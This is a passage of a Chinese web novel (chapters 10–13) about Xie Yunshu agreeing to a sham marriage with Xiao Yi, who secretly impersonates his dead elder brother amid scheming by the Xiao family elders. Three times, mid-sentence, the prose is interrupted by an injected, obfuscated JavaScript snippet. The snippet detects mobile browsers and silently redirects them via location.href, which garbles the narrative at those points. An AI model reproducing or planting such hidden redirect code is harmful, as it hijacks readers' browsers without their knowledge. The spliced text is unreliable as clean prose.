一提到萧晏,谢云姝眼眶中的泪又似决堤一般,愧疚与痛楚几乎要将她整个人淹没。瑞平在萧翊身后,低低地说着:“公子,老夫人召您去议事厅,说有要紧之事...” “你好自为之。”萧翊的神情变了变,对着谢云姝说完这话便转身离开。 素娥在一旁看着泪流不止的谢云姝,自己也忍不住啜泣起来,“姑娘,对不起...我错了,战场上刀剑无眼,少主他英勇战死,谁也无法左右。我不该,也没有资格怨您...” 她紧紧握住谢云姝的手,为她拂去残月下无声的流泪。 ...... 停灵结束后的当夜,萧老夫人终是支撑不住病倒在床。夜深时分,她强撑精神,命人将府中核心亲眷悉数召至榻前。 谢云姝也不例外。 烛光摇曳,映照着每个人脸上沉重的阴影。 老夫人面色灰败,眼神扫过床前众人,缓缓开口:“这几日,魏家、梁家趁机造势,城中流言四起,皆猜测是…晏儿出了意外。若他们确信晏儿战死,恐立刻联手吞并我萧家基业。” “魏梁两家,残暴无德,若是让他们掌握权柄,恐怕往后北燕子民都将处于水深火热之中。”老夫人似忆起了自己惨死的故人,气血上涌。 一道珠帘,挡住她的剧烈咳嗽。 “老夫人!” “娘!” 珠帘晃动,关切之声此起彼伏。就连连日来哀默心死的徐夫人,此刻也回过神来,急忙上前。 “无妨,无妨。”萧老夫人摆摆手,拂开嬷嬷的手。她闭目喘息良久,才重新开口,声音虚弱却带着不容置疑的决断:“明日便是晏儿出殡之日,此事…再也瞒不住了。而南方公孙袭已攻下蓉城,强占置厝。周王政权危如累卵不堪一击,只怕不久之后…公孙袭便会联合江左,取而代之!” 她目光陡然锐利:“群雄逐鹿,值此危难之际,萧家绝不能倒!” 老夫人环视众人,最终将视线定格在角落里的少年身上:“翊儿,上前来。” 萧翊身形单薄,闻言微微一颤,缓步上前,“祖母...” “从今日起,你便是萧家少主。”老夫人一字一句,如锤定音,“你父亲、兄长用性命守护的基业,如今…就交到你手上了。” “我不同意!”徐夫人猛地抬头,声音凄厉。她不顾礼仪地冲到珠帘前,“母亲!他一个贱婢所生的庶子,凭什么继承萧家?照我看,应从叔伯旁支内择取一子,代为执掌大局。” “好了!”萧老夫人在嬷嬷搀下强撑着坐直身子,“旁系再贤,终究隔了一层。翊儿身上流的是萧家的血。再说了,翊儿尚在,你却要推旁支上位,莫非是要让满城百姓都知道,你这个当家主母连自己的儿子都容不下么?” 这些年来,徐夫人对翊儿的种种为难与冷落,老夫人何尝不知? 只是念及她出身将门,心高气傲,又接连遭受丧夫丧子之痛,这才一次次隐忍不言,只苦了那孩子一再退让。 想起萧翊,老夫人心头便是一阵刺痛。她那孙儿,本是块灵秀通透的璞玉,如今却硬生生被逼成了众人眼中不学无术的纨绔模样。 如今萧家已到存亡之际,再不能由着她性子来了。 “此事,就这么说定了。翊儿,往后就让孙先生辅佐你,你若有什么不懂的,尽管问他。” “臣,领命。”孙城侍立在身后,见老夫人下令,躬身行礼。 良久,萧翊垂下眼帘,遮住眸中所 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16659112|188353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有情绪,对着病榻上的祖母,深深叩首下去,“孙儿……领命。” “母亲!”徐夫人心中悲愤。 “好了,我有些乏了,你们先退下。”老夫人不欲再多说。 谢云姝在一众人身后退下,与萧老夫人有过一瞬的眼神对视。不过瞬息,老夫人便迅速移开了眼,对于孙儿的这个未婚妻,她还没琢磨出一个妥帖的安置法子。 谢云姝这几日来,也在想这个问题。身为萧晏的未婚妻,她到底该何去何从?祭礼台上的一拜,早已将她的名节与萧家紧紧绑在了一起。 可若是不走,她又以什么身份留在萧府?更何况公孙袭已攻下蓉城,母亲与弟弟时可能被敌军发现,她又怎能心安理得地安居在北燕? 谢云姝心中焦灼不已,可还没能等她捋出一个能体面离开的说法,次日清晨,萧府就被一场突如其来的风波掀得底朝天。 -- 天蒙蒙亮,蓟州城的风雪还未停。 萧府连夜对外张贴讣告,宣称此前身染恶疾的二公子萧翊,因药石罔效,已于七日前病逝。 什么! 满蓟州城哗然。 谢云姝刚从浅眠中醒来,就听见院外传来急促的脚步声,素娥几乎是跌撞着跑进来,脸上满是惊惶,声音都带着颤:“姑娘!不好了!您快随我去前厅,老夫人发了急令,让所有人都过去!” 谢云姝被人围着匆忙宽衣、胡乱漱口。在得到素娥只言片语的解释时,她也止不住心头震动,怎么会是萧翊的死讯? 刚踏入前厅,就听见一声怒不可遏的呵斥撞进耳中,“混账东西,这一切都是你派人干的?你怎敢如此擅作主张!隐瞒晏儿死讯,还搞出这偷梁换柱的把戏?” 老夫人拄杖而立,面沉如铁,她胸口剧烈起伏,眼中尽是失望与愤怒。 阶下,徐夫人却微微一笑,神色镇静:“母亲,我说过的…绝不准他抢走阿晏的一切,即便是要抢,也绝不可能名正言顺。” “你……你这个糊涂妇人!你这是要翊儿一辈子顶着死人的名头活着?!”老夫人被她这番话气得浑身发抖,拐杖重重地砸在青砖地上,发出“咚”的一声闷响。 “死人?”徐夫人眼神一空,声音带上了哭腔。 “母亲,晏儿才是您的嫡亲孙子啊!您为何偏心得如此明显?他不过是要顶替阿晏的身份,可我的儿却永远回不来了啊!” 她泪如雨下,语无伦次,俨然已半入疯魔。 老夫人闭目片刻,再睁眼时,只剩一片冷然:“你眼中只有私怨,全然不顾萧氏死活,如今更是罔顾北燕的动荡局势,真是太叫我失望!” “来人,送夫人去清泉寺,从此静修佛前,永不得再回萧府。” ...... 厅内众人已屏退,徐夫人被带下去的哭嚎声仿佛还在梁间缠绕。谢云姝思绪纷乱如麻,却听见萧老夫人沉缓的声音唤了她的名字,“云姝,你留下来。” 老夫人由侍女搀扶着,一步步走到她面前,向她俯身行礼! “老夫人,您这是做什么!”谢云姝慌忙侧身避开,伸手去扶。 “云姝,”萧老夫人借力站直,手却紧紧握住她的手腕,“北燕局势波谲云诡,萧家已至存亡之秋。” “老身这张脸面今日也顾不上了,只求你留在北燕,帮萧家度过难关。” 谢云姝眼皮狂跳,“老夫人,我不懂您的意思...” 老夫人凝视着谢云姝,目光锐利如刀,却又透着孤注一掷的无奈,“我要你以谢家女之名和翊儿举行婚礼,如期嫁入萧家,替萧家保守这个秘密。” 话音落下的瞬间,谢云姝脑中“嗡”的一声,仿佛惊雷炸开... 11. 第11章 对峙 “不!” 谢云姝猛地从地上站起,因为动作太急,身形微微晃了晃,“老夫人,请恕云姝不能从命。” 提及那个名字,她的眼眶瞬间红了:“怀瑾哥战死,我...我难辞其咎。但是我不能留在北燕,更不能嫁给二公子。” 张嬷嬷上前一步,语气恳切:“少夫人三思啊。如今南方动荡,若无萧家庇护,您一个姑娘家能去哪里?” “是啊是啊,莫要辜负老夫人的一片好心啊!”其余的奴仆也轻声劝着。 萧老夫人静静地看着她,那双历经风霜的眼眸深不见底。良久,她轻轻叹息:“罢了。袖袖,我早知道你是个有主见的。晏儿既已不在,我们萧家确实不该再束缚你。” “北燕这场祸事,本与你无关。是祖母糊涂了。只盼你莫要怪我方才的提议唐突,伤了我们这些日子的情分。终究是我们萧家与你缘分太浅,留不住你。你若想走,随时告知,我自会为你打点行装,风风光光送你离去。” “老夫人……”谢云姝心如刀绞,这宽容比责备更让她痛苦,“云姝对不起您,对不起萧家...” “你有何处对不起萧家?”谢云姝太过沉浸在悲伤之中,以至于她没有注意到萧老夫人脸上的微变。 “其实蓉城有一处落崖关身处峭壁之下,隐秘无比。北上求援之前,我曾叮嘱母亲,一旦蓉城门破,则可提前隐蔽此处...陈梧陈特使将那块玄云令拿出来的时候,我就知道,母亲和弟弟已经成功转移到了安全之处。” “母亲...母亲本可以救下怀瑾哥,是我,是我叮嘱母亲无论遇到什么事情都不可以开落崖关,是我害死了怀瑾哥!” 老夫人胸中激荡着震惊,久久不能平静。 许久之后,她才喃喃地道:“原来是这样,原来是这样。”她看着跪到在自己面前,忏悔地不能自已的谢云姝,目光幽深。 可惜,玄云令不是在卫期身上发现的。蓉城守将里出了叛徒,她的母亲和弟弟恐怕...也凶多吉少。 “好孩子……”老夫人的眼神柔和下来,隐约泛起湿意。她伸手轻抚谢云姝的头发,指尖带着温暖而坚定的力量,“危急关头,护全至亲是人之常情。你能对我坦诚这一切,已足见你的赤诚与勇敢。” “莫要再苛责自己了。晏儿的品性,你我都清楚。大敌当前,即便当日你母亲开关,他也不会苟延撤退,他一定会守在关口,直到最后一刻!!护住你母亲和弟弟。” 这番话如同打开了闸门,谢云姝连日来压抑的情绪彻底决堤,哭得几乎喘不过气,只能断续重复着:“对……不……起……” 她哭了许久,才用力抹去脸上的泪痕,“所以老夫人,请您原谅我不能留在北燕。母亲与幼弟如今仍未脱离危险,我……我必须南下去寻他们。” 萧老夫人将人扶起来,摸着背安抚道:“袖袖,你有这份孝心,我绝不阻拦。可你想想,乱世之中孤身南下,你该如何救他们?” 她沉吟片刻,目光倏然锐利:“不若这样:你若愿应下这桩婚事,助萧家渡过眼前难关,老身便以整个萧家之力,保你母亲与弟弟平安北上。如何?” 此言一出,侍立一旁的张嬷嬷眼神微妙地闪烁了一下,悄然看向老夫人。 “我……”谢云姝陷入挣扎。萧晏已因她而死,她怎能再为一己私心,将萧家其他人拖入南方的险境?她原本所求,不过是与家人同生共死。 “袖袖,我知你聪慧机敏。可这世道,女子生存已属不易,想要庇护家人更是难上加难。你若真想救他们,就必须学会顺势而为,积聚自己的力量。” “老夫人……”谢云姝抬起泪眼,心中充满不解,“您为何……为何要对我说这些?” 面对她这个间接害死萧晏的人,老夫人当真能毫无怨怼吗?扪心自问,若易地而处,她做不到。 “我知道你在想什么。” 萧老夫人目光如炬,声音却温和,“可逝者已矣,我们要做的是背负着逝者的意志继续前行。百年来,天下的百姓苦战乱久矣。平定乱世,御宇天下不仅是晏儿生前的志向,更是我们整个萧家几代人的追求。” “我们前进的步伐,不会因任何人的离去而停止。只是翊儿年少继任,军政要务尚多生疏。袖袖,你通晓大局,明辨时势,更难得的是随父征战多年,深谙南方地理民情。这般琢玉之才,正是萧翊此刻最需要的。” “所以我才想贸然请求你留下来,帮帮他,帮帮我们。” 见谢云姝仍垂首不语,老夫人执起她冰凉的手:“这世道,女子要施展抱负比登天还难。多少人都认定女子只该相夫教子,可老身从不这么想。你缺的从来不是才智,而是一个能让你放手施为的机会。”老夫人轻轻收紧手掌,“现在,这个机会就在你眼前。” 这番话如惊雷贯耳,谢云姝只觉得心头重负倏然松动。她缓缓抬头,“好,我答应您。” “你说什么?” 谢云姝坚定地开口:“我答应您留下来,嫁给二公子,替他稳住北燕局势,若是有可能,辅佐他将来平定乱世,还天下百姓一个太平。” 就当,是帮怀瑾哥完成夙愿。 这是她欠他的。 老夫人紧绷的肩膀终于放松,连声道:“好,好!此事就这么定了。”她立即恢复杀伐决断的本色,“祁融残部昨日已抵蓟州。如今公孙袭虽占蓉城,但与刘显、葛威已生嫌隙。待他们鹬蚌相争,便是我们救出你母亲和弟弟的时机。” “老夫人,我知道西南的帕坎州,有一处密道能直通蓉城...祁将军若率兵从此处过,能最大程度减少伤亡。” 她从怀中掏出一个玉质的印信,“这是当年帕坎首领赠予我父亲的信物。持此物前去,首领必会借道。” “好!”萧老夫人露出一丝欣慰的笑,“我即刻叫祁融过来。袖袖,你这些天也累了,去歇息一下吧。” “老夫人……”谢云姝迟疑片刻,声音微颤,“我想去送送怀瑾哥最后一程。” 老夫人神色顿时复杂。因蓟州动荡,萧晏的起灵仪式已推迟数日,如今终于要举行。 “袖袖,”她轻叹一声,语气不忍却坚定,“在世人眼中,你终究是他的嫂嫂。这般身份去送灵,于礼不合,恐惹非议。” 谢云姝眼角倏然泛红,却不再争辩,只低声道:“我明白了。”她在侍女素娥的搀扶下缓缓转身离去,背影显得单薄。 -- 当谢云姝的脚步声消失在廊外,房中重归寂静,唯有熏香在光影中袅袅盘旋。 “老夫人料事如神,”张嬷嬷轻声道,“少夫人心软,您这一番以退为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16659113|188353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 进,她果然答应留下来。” “眼下,还不是她离开北燕的时机。”萧老夫人指节轻叩案几,目光深沉,“只是翠华,你说……待袖袖将来知晓我今日对她的算计,会不会怨我?” “老夫人多虑了,您这么做也是为她着想,少夫人怎会不明白?” “当真不会?”她望向窗外,北地的白日风也冷得刺骨,吹得窗外的那几株寒梅瑟瑟发抖。 这一次,她没有听到回答。 熏香燃尽,最后一丝青烟散入虚空。 “来人,”萧老夫人再抬眼时,眸中已尽是清明决断,“请二公子过来。”她略作沉吟,“不,先传陈梧。” -- 大哭过一场后,谢云姝在回来的路上又受了风寒,身子有些微微发烫。因此用过晚膳之后,她便早早准备和衣躺下。 这时,院中来了个不速之客。 “二公子,姑娘正准备休憩了,您不能进去!”素娥急切的声音自廊下传来。话音未落,房门被人从外一脚踹开。 谢云姝匆忙系好衣带,赶来的素娥急忙绕过屏风,取下架上的狐裘为她披上。 尽管在世人眼中萧翊是个不学无术的纨绔,但他从未在人前如此失态。此刻他站在门前,胸口剧烈起伏,眼中翻涌着复杂的情绪。 “素娥,天冷了,去让下人添些炭火来。”谢云姝平静地吩咐。 “可是……”素娥担忧地看向二人。 “怕什么。”萧翊出言讥讽,一字一句,“往后,她可都是要嫁给我的人,还避什么嫌?” 素娥闻言脸色煞白,惊慌地望向谢云姝。谢云姝只是轻轻颔首:“下去吧。” 待房门关上,萧翊猛地逼近,一把扣住她的手腕:“为什么要答应?” 谢云姝有些不明白,“二公子,你在气什么?这不是我能决定的。” 她一句话,问得萧翊有些懵。 是啊,他在气什么? “我气你口口声声说与大哥情深义重,转眼却应下这荒唐的婚事。”他别开视线,声音里带着几分自嘲,“这难道不是对他的不忠?” “你错了。这桩婚事无关情爱,在外人面前,你就是萧晏。我们之间,只不过逢场作戏罢了。” “戏?”他冷笑一声,“可我大哥已经死了!我想不出任何一个能让你心甘情愿留下的理由。“ 他目光如刀,一字一句剖开她的伪装,“你绝不是那种会因畏惧流言就甘愿留下,寻求他人庇护的人。” 谢云姝的指尖在袖中微微蜷缩。 “离开,我能去哪里?蜀地已成一片废墟,而害死怀瑾哥的凶手却还在逍遥,你让我如何甘心?” “你要为他报仇?” “是。” 短暂的寂静中,他忽然向前一步,声音压得极低:“蓉城一战,你不仅失去了大哥,还失去了你的亲人。可方才我问你时,你为何只提为我大哥报仇?” 谢云姝猛地抬起头,撞进他仿佛能洞穿一切的目光中。 “我...” “我问过陈梧,大哥的死并不简单。而且,他对那枚玄云令反应很大。祖母说,你同意留在北燕嫁给我,是因为责任,可我并不觉得。” 萧翊倾身逼近,手指收紧,“我大哥的死,是不是与你有关?” 12. 第12章 婚礼 十月二十八。 蓟州城飘着细雪,送葬的队伍在长街上缓缓前行。 “萧翊”的灵柩在满城百姓的注视下出城。而真正的萧翊在装扮之下,已成了另一幅模样。他一身缟素,作为弟弟扶着兄长沉重的牌位。 风雪扑面,却不及街边的议论刺骨。 “还真是萧家二公子啊,年纪轻轻地怎么就没了?” “真是可惜!!” “可惜?这萧二少整天不学无术,活着时没少祸害姑娘家…有什么可惜的?萧少主那般英雄人物,偏有个这么不成器的弟弟……” “你还不知道?那萧家二公子生母出身卑贱,他们根本就不是亲兄弟。” “这样啊,难怪他们一点儿都不像...” “听说这场恶疾,波及了好多人。当初祭礼一过,萧府挂上白幡,丧钟又敲了九下,我还以为...还好,死的是萧二公子,不是咱们萧少主...” “萧少主怎么会死,他那日不是携未婚妻在主持祭礼么...这都是魏梁两家趁机作乱而散播的谣言罢了,当不得真!” “对对对,是我糊涂了...” 还好,死的是萧翊...... 这句话像鞭子一样抽在萧翊心上。他垂着头,感到一阵尖锐的羞耻。就在此时,一只苍老却有力的手轻轻按住了他发颤的臂弯。 萧老夫人不知何时已来到他身侧。她一身素服,目光平静地落在他脸上:“把脊背挺直。” “记住今日的每一句唾骂,记住这风雪刮在脸上的疼。但你更要记住,躺在棺中的人是谁,活着的你,又该成为谁。” 萧翊呼吸一滞,一点点直起微驼的背脊,任由风雪灌满衣袍。哭声震天之中,送葬队伍缓缓走出城门,向着城西的萧家陵园行去。 当灵柩消失在城门之外,萧老夫人依然伫立在风雪中,眼中闪过一丝痛楚。 为了守住一个谎言,她亲手让这个孩子从此只能活在另一个人的影子里。 而在不远处的阁楼上,魏珩与梁稷并肩而立,沉默地注视着这一幕。 “梁稷,你怎么看?”魏珩轻声问,“死的人,真是萧翊?” 被称作梁稷的男子没有回答,只是死死盯着那灵柩前的那个扶着牌位的少年,若有所思。 雪屑纷扬,洒在漆黑的棺木上,如同苍天落下的纸钱。萧家陵园内,松柏低垂,新掘的墓穴张开黝黑的口,等待着吞噬那具承载着谎言与重量的棺椁。 “落棺——” 礼官的唱和声在风雪中显得格外凄厉。 沉重的棺木被绳索缓缓吊着,沉入冰冷的黄土。萧翊脸色苍白地立于墓穴之前,手中紧紧抱着刻着他名字的牌位。 那名字像烧红的烙铁,烫在他的灵魂上。 他垂着头,听着泥土砸在棺盖上的闷响,每一声,都像是为他过往那个自己钉上最后的棺钉。 风雪灌入他挺直的脊背,他却只觉得一片死寂。随着那最后一抔黄土的覆盖,周遭的哭声浪潮般涌来。 从此,世上再无萧翊。 -- 几乎同时,城西清泉寺的后禅院。 因丧子而悲痛欲绝而在此静养的徐夫人,正靠坐在窗边的软榻上。 窗外是寂寥的庭院,偶有零星的香客走过。她眼神涣散,面容憔悴,口中不时喃喃低语着“晏儿…我的晏儿…” 任谁看去,都是一个遭受巨大打击、心智已失的可怜母亲。 然而,当一个身影悄无声息地闪入室内,在她面前无声行礼时,徐夫人那涣散的眼神瞬间聚焦,锐利如刀。 “说。”她声音极低,却清晰无比,哪还有半分疯癫。 那人是她安插在萧老夫人身边多年的亲信,一个毫不起眼的粗使婆子。 “老夫人前夜密见陈梧统领,”婆子低声禀报,“老奴躲在暗处,听得只言片语。陈特使说他们已经秘密派人去找了,但目前还没找到。” 徐夫人捻着佛珠的手指猛地收紧,指节泛白,“是我的晏儿,我的晏儿还没死!” 那婆子有些惊恐,丝毫没有想到这方面去,她忧心是徐夫人忧伤过度,“夫人...” “你信不信,那棺材里根本就没有我儿的尸首?母亲当初反对我开棺,就是因为我儿根本没死,他只是失踪了。” 虽是问询,但徐夫人十分确定,“我了解我儿,他不会这么轻易就死的。” “下去吧,继续盯着,有任何关于少主的消息,立刻来报。”徐夫人挥了挥手,声音又恢复了那种飘忽茫然的调子,“我儿…娘在这里等你…” 那婆子悄然退去。 徐夫人缓缓转过头,望向窗外灰蒙蒙的天空,嘴角勾起一丝极淡的弧度。 “母亲,你想历练那个贱种,想让他替你稳住局面?好,我便如你所愿。但最终,谁也抢不走晏儿的一切。” 风雪依旧,落在清泉寺禅房外,寂静无声。 -- 蓟州城的这个冬天格外漫长。 “萧翊”的死,在城中并未掀起太大波澜。 萧家少主与南方谢家小姐的婚期,早已定在今年腊月初五,这是年前最后一个宜婚嫁的吉日,若再拖下去,恐怕引起争端。 于是门前的白灯笼才摘下不久,红绸便又悄然挂起,只是那红也像是蒙了层薄灰。 因府中新丧未久,这场婚礼一切从简。 没有喧天的锣鼓,没有如潮的宾客,宴席也只设了寥寥数桌。然而,北地举足轻重的魏、梁两家族人,却都在受邀之列。即便暗流汹涌,看在萧老夫人的面上,各方也维持着表面应有的体面。 更何况这样的场合,他们绝不会缺席。 仪式在萧家宗祠旁的厅堂进行,红烛高烧。 萧翊一身大红喜服,身姿挺拔地站厅前。经修饰后,他的面容在外人面前已经没有任何破绽,连日来的反复演练,他将兄长的沉稳持重的姿态也模仿了八九成。 若没有特殊情况,在外人面前应该可以以假乱真。 便是这时,魏家的魏珩与梁家的梁稷一同走了过来。 魏珩率先拱手,笑容爽朗却不达眼底:“恭喜晏兄!新婚之喜,总算冲了冲府上的沉闷之气。” 萧翊从容还礼,声音是刻意模仿的温厚低沉:“多谢魏兄。府中事多,招待不周,还望海涵。” 一旁,梁稷却并未立即开口。 他与真正的萧晏自幼相识,交情匪浅,只是碍于两家之间的龃龉,成年后他和萧晏便鲜少走动。 此刻,他只是静静站着,目光落在萧翊垂在身侧的右手上——那手指无意识地在袍袖边缘轻轻摩挲了一下。 这是萧晏的习惯性动作。 梁稷的面上依旧带着恰到好处的笑意,“阿晏,恭喜。” 他称呼亲昵,语气却平和,“只是今日这样的大喜日子,为何不见徐夫人?” 萧翊从容还礼,正欲开口解释母亲身体不适,身后便传来一个温和的声音:“让梁公子挂心了。” 只见徐夫人由侍女搀扶着,恰到好处地缓步走来。她身着绛紫色锦袍,发髻梳得一丝不苟,脸上带着得体的浅笑。 “今日晏儿大喜,我这做母亲的岂能缺席?只是先前头风发作,在房中歇了片刻,来得迟了。” 萧老夫人在不远处,默默地注视着这一切。她早预料到此,这样大喜的日子,她怎么能不将徐夫人接回来? 萧翊立即配合地微微俯身,让徐夫人的动作更顺手,语气恭敬中带着关切:“母亲身体要紧,这些虚礼不必勉强。” 梁稷的目光在两人之间微妙地流转。 这对母子互动看似和谐,却像是精心排演过的戏码,少了血脉相连的自然。 “新人,行礼!” 这时,司仪高亢的声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16659114|188353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 音在略显空荡的堂内回响。萧翊借此暂停他们之间的对话,魏梁两位公子也和气地给他让出道来。 在一片喧闹声中,谢云姝由侍女搀扶着,身着厚重的凤冠霞帔,每一步都仿佛踏在云端,摇摇欲坠。 “一拜天地!” 她依言屈身,眼前只有盖头下那一方晃动的、模糊的红色地面。 “二拜高堂!” 端坐上首的萧老夫人面容肃穆,眼神复杂地落在“长孙”身上,微微颔首。一旁的徐夫人,嘴角勉强维持着一丝弧度,不至于叫人看出僵硬。 “夫妻对拜!” 新人转身,相对而立。躬身行礼时,萧翊的目光平静无波,仿佛只是在完成一项必要的程序。 饶是如此,在起身之后,谢云姝一直紧绷的心防还是难以抑制地裂开了一丝缝隙。 凤冠霞帔,三拜之礼,宾客盈门。此情此景,在她待字闺中的岁月里,何尝没有偷偷地畅想过几次? 可如今,礼乐是别人的,喧闹是别人的,就连对面这个即将成为她夫君的人……也不是那个人。 礼成,新人被引至侧厅,稍事休息并接受近亲族人的致贺。 婚礼的流程在一种看似平和、实则各怀心思的氛围中继续推进。红烛依旧燃烧,映照着,也掩盖着其中涌动的无数心机与试探。 终于,这一切都结束了。 萧翊招待完宾客,由下人搀扶着入了红灯喜联的洞房。越是靠近,他的脚步越是沉稳,眼底最后一丝醉意也一点点消散。 夜色渐浓,新房内,手臂粗的龙凤喜烛燃烧得正旺。 素娥和萧翊手底下的心腹侍女惊蛰早已静候在内。见萧翊进来,惊蛰无声上前,将一柄缠着红绸的玉如意奉上。 他接过,略一迟疑,才伸手挑向那方绣着并蒂莲的盖头。 盖头缓缓滑落,露出新娘的脸。 一张清秀却略显苍白的脸,眉眼低垂着,看不出一丝情感。 另一名侍女适时捧上合卺酒。两只半剖的匏瓜用红线系着,酒液在烛光下微微晃动。 萧翊取过一盏,谢云姝则拿起另一盏。 手臂交缠,距离拉近,两人皆目不斜视,动作僵硬得像在完成一项与己无关的仪式。 酒液入喉,辛辣直冲而下,尾调是匏瓜特有的清苦。素娥上前接过空杯,压抑的寂静再次弥漫开来。 “少主……”惊蛰硬着头皮低声开口,想提醒他接下来的结发之礼。 萧翊声音平淡无波,截断了她的话:“不必了,你们都下去。” 素娥与惊蛰对视一眼,心中都有些莫名的不放心,但也只能退下。房门合上后,偌大的婚房内只剩下他们二人。 满室的喜庆,如同虚幻。 萧翊向前逼近一步,身影笼罩住她坐在床上的影子他俯身,酒气直逼过来,“嫂嫂,” 他刻意咬重这两个字,“嫁给小叔子,是何感觉?” 谢云姝终于抬眸,那双眼睛清凌凌的,像墨玉一般直直迎上他的目光,“少主,你无需出言讽刺。我说过,我们之间只是逢场作戏。” 她微微停顿,语气决绝:“待北燕局势稳定,萧家内部安宁,我们随时可以和离,一别两宽。” “哦?”萧翊笑了笑,“可是怎么办呢?你夫君我,可是蓟州城人尽皆知的纨绔废物。嫁给我这样的人,恐怕你永无自由的那一天。” “怎么会呢?” 她抬眸,定定地看着萧翊,“大不了,一起死。” 他下颌线骤然绷紧,过了一会儿才别开视线,从齿缝间挤出几个冰冷的字:“早些歇息。” 话音未落,萧翊已径直走向房门。 大红的喜服在烛光下划开一道弧线,他的身影融入廊外的风雪中,唯有一句冷硬的声音穿透窗柩,清晰地传入室内,“从今往后,我都宿在书房里。” ...... 13. 第13章 打脸 婚礼过后,萧府的红绸还未撤下,所有人却不得不像往常那样运转起来。 曾经属于萧晏的书房清晖堂,如今易主。 书房内,熏香袅袅,萧翊坐在那张宽大的紫檀木书案后,垂眸审视着文书。 几位萧家的核心幕僚分坐两侧,眼神不禁有些恍惚。经过特殊装扮后的他,不论是侧脸线条,还是通身的气度,都很像原来的少主。 “少主!” 陈梧下意识张口,却在对方抬眸,眼中闪过一丝难以掩饰的生涩与疏离时,猛地哽住。 萧翊垂手,心情复杂。他知道,陈梧不是在叫他。 陈梧收起恍然,开始进入正题。 另一身材魁梧的虬髯大汉也开始禀告:“少主,年关将至,按照惯例,需加强城中巡防,增派夜间岗哨,以防宵小趁机作乱。此外,新年祭典、各府往来礼单,也需尽早定夺。” “城外大营新募兵卒的冬衣、粮饷,以及日常操练章程,欧阳先生之前已有草案,但还需少主最终核定。” …… 一件件,一桩桩,如同纷乱的雪片扑面而来。 萧翊努力集中精神,试图做出决断。可他张了张嘴,却发现自己对兵力部署、将领的选派感到茫然,他甚至认不全萧家的这些将领。 连如何拿捏与魏梁两家之间虚与委蛇的分寸,他都一知半解。 孙城看出了萧翊的窘迫,他环视一周,问:“欧阳允呢,怎么不见他身影?” “欧阳参军从置厝回来受了重伤,正在静养。” “也好。”孙城开口提醒:“少主,这几日您要不要先去探望一下欧阳参军?其他事情,稍后再议。” 陈梧坐在左下首,急道:“这怎么能行?少主,黄河结冰,我们南下无需绕道,正是夺回置厝的好时机,拖延不得。大公子在时,通常……” “陈梧!” 话刚出口,陈梧就被孙城厉声打断。 孙城转而看向萧翊,安抚道:“少主,军中弟兄连月征战,已是疲劳不堪。年关已至,就先让他们在城中过个好年吧。夺回置厝一事,等明年开春再议也不迟。” 萧翊猛地攥紧了袖中的手,指甲嵌进掌心。 是啊,若是大哥在,定然是成竹在胸指挥若定,绝不会像他这般,像个无知稚子手足无措。 孙城又向陈梧递了一个眼神,后者走出来跪地行礼,“少主,是属下说错话了。” 可陈梧心中却想:他们派出去的暗卫,从蓉城一路追踪,好不容易在黄河下游附近得到了村民们的只言片语,说似乎看到过一个北人的踪影... 如今,正是他们趁出兵置厝去寻找少主的好时机。 他一句也不想让。 但奈何,孙先生的话即便是原来的少主也会一一遵守。 见萧翊未说话,孙城又道:“少主不必忧心,事都是一步步做成的。眼下,我们只需多家注意年关的城防便可。有什么不懂的,尽管问庞统。” 说时,下首的庞统向主座抱拳,“但凭少主吩咐。” “庞统领,年关城防增派巡逻之事,就按旧例,再增加三班人手,重点巡查流民聚集区域与各坊市夜肆。细节由你拟定。” “是!” “至于其他事情...容我再想想。”萧翊的声音有些干涩。 .... 夜渐渐深了。 众幕僚一一退下,萧翊独坐案后,强撑的镇定一层层褪去,他叫住了最后那个即将离去的身影,“孙先生,请留步。” 孙城脚步一顿,转身拱手:“少主还有何吩咐?” 书房内骤然空寂下来,只余熏香残烬与满案待批的文书。 萧翊起身走到窗边,望着窗外沉沉的夜色,蓟州城的万家灯火在雪幕中显得朦胧而不真实。 他沉默良久,才低声道:“先生,我…还要多久...” 孙城几乎是一瞬间就明白了他的意思,他缓步上前,“少主不必妄自菲薄。大公子初掌家业时,也曾历经磨合。世事繁杂,非一日可通,需循序渐进。” “循序渐进……”萧翊喃喃重复,嘴角牵起一丝苦涩,“可我总觉得,无论我如何努力,都永远追不上大哥的影子。你们看我的眼神……我都明白。” 孙城默然片刻,才道:“少主,信任需用时间和能力来换取。陈梧等人并非对您心存芥蒂,只是需要时间适应,少主您也需要时间成长不是么?” 萧翊忽然转过头,目光灼灼地看向孙城,“孙先生,你也觉得……我大哥真的死了吗?” 他顿了顿,带着某种确信,“不知为何,我总觉得他还活着。” 